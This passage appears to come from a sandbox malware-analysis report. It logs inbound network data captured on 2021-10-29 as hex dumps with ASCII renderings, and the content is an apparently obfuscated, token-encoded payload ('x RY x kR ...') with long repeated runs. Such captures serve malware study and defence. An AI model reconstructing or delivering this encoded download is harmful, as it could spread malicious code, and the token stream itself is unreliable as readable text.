59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-10-29 18:11:00 UTC	2655	IN	Data Raw: 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 74 78 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 Data Ascii: x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x kt x tx x Ooo x Qt x OOQ x RY x RY x tt x OxE x t
2021-10-29 18:11:00 UTC	2657	IN	Data Raw: 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 59 45 20 78 20 51 51 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 59 20 78 20 52 6b 20 Data Ascii: x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x ko x YE x QQ x tO x kR x kk x RY x tx x kY x Rk
2021-10-29 18:11:00 UTC	2658	IN	Data Raw: 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 6b 6f 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4f 78 51 Data Ascii: xk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx x OOY x ko x OOx x tK x Oxk x Qx x kO x Rk x OxQ
2021-10-29 18:11:00 UTC	2659	IN	Data Raw: 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 Data Ascii: xx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x
2021-10-29 18:11:00 UTC	2661	IN	Data Raw: 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 6f 6f Data Ascii: Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x RY x OOE x RY x RR x tx x Qk x OOx x kR x OOR x kY x OxQ x kR x Ooo
2021-10-29 18:11:00 UTC	2662	IN	Data Raw: 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 78 20 59 78 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 52 74 20 78 20 51 51 20 Data Ascii: Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk x kY x YO x Oxk x Ooo x kO x Yx x Yt x OOY x Qk x YO x tK x Rt x QQ
2021-10-29 18:11:00 UTC	2663	IN	Data Raw: 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20 59 45 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 59 20 78 20 4b 51 20 78 20 4f 78 6b 20 78 20 4f 78 Data Ascii: kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx x Oxk x Oxx x tx x tk x YE x QQ x YO x ko x Oxk x Qk x kY x KQ x Oxk x Ox
2021-10-29 18:11:00 UTC	2665	IN	Data Raw: 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 59 4f 20 78 20 6b 6f 20 78 20 4f 4f Data Ascii: x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x OxR x Oxx x RY x RY x RY x OOR x kO x RR x RQ x QQ x OxQ x tx x YO x ko x OO
2021-10-29 18:11:00 UTC	2666	IN	Data Raw: 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 Data Ascii: Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk x tK x Oxk x Qk x OOx x kO x RY x Oox x RY x RR x tx x Qk x OxQ x
2021-10-29 18:11:00 UTC	2667	IN	Data Raw: 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f Data Ascii: x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt x Qk x YO x Oxx x Ooo x RY x RY x Rk x tt x RY x kY x Oox x OOk x kQ x kt x ko
2021-10-29 18:11:00 UTC	2669	IN	Data Raw: 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 52 Data Ascii: O x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ x kE x kK x tt x OoO x tR x OxQ x ko x OOY x Qk x RY x RY x tY x RY x R
2021-10-29 18:11:00 UTC	2670	IN	Data Raw: 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 6b 45 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 51 78 20 78 20 6b Data Ascii: O x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x OOY x Qx x kO x RY x RY x KQ x OOQ x tx x kE x Qx x kt x Oxx x RQ x Qx x k
2021-10-29 18:11:00 UTC	2671	IN	Data Raw: 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 4f 4f 52 20 78 20 52 59 20 Data Ascii: x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x kR x OOQ x Rt x OOR x RY
2021-10-29 18:11:00 UTC	2673	IN	Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2674	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x to x OxE x RY x RY x RY x Rt x KQ x RR x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:11:00 UTC	2675	IN	Data Raw: 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f 4f 20 78 20 59 45 20 78 20 4f 4f 4b 20 78 20 59 4b 20 78 20 74 51 20 78 20 4f 4f 6f 20 78 20 4f 4f 74 20 78 20 4f 4f 4b 20 78 20 4f 4f 74 20 78 20 Data Ascii: xo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt x tR x Rt x OxK x OOO x OOK x OoO x YE x OOK x YK x tQ x OOo x OOt x OOK x OOt x
2021-10-29 18:11:00 UTC	2677	IN	Data Raw: 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 74 74 20 78 20 4f 4f 78 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 59 4b 20 78 20 52 6b 20 78 20 6b 4f 20 78 Data Ascii: x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x OxQ x YK x OOt x YY x OxY x KQ x OOo x tt x OOx x OOk x YR x YK x Rk x kO x
2021-10-29 18:11:00 UTC	2678	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
2021-10-29 18:11:00 UTC	2679	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
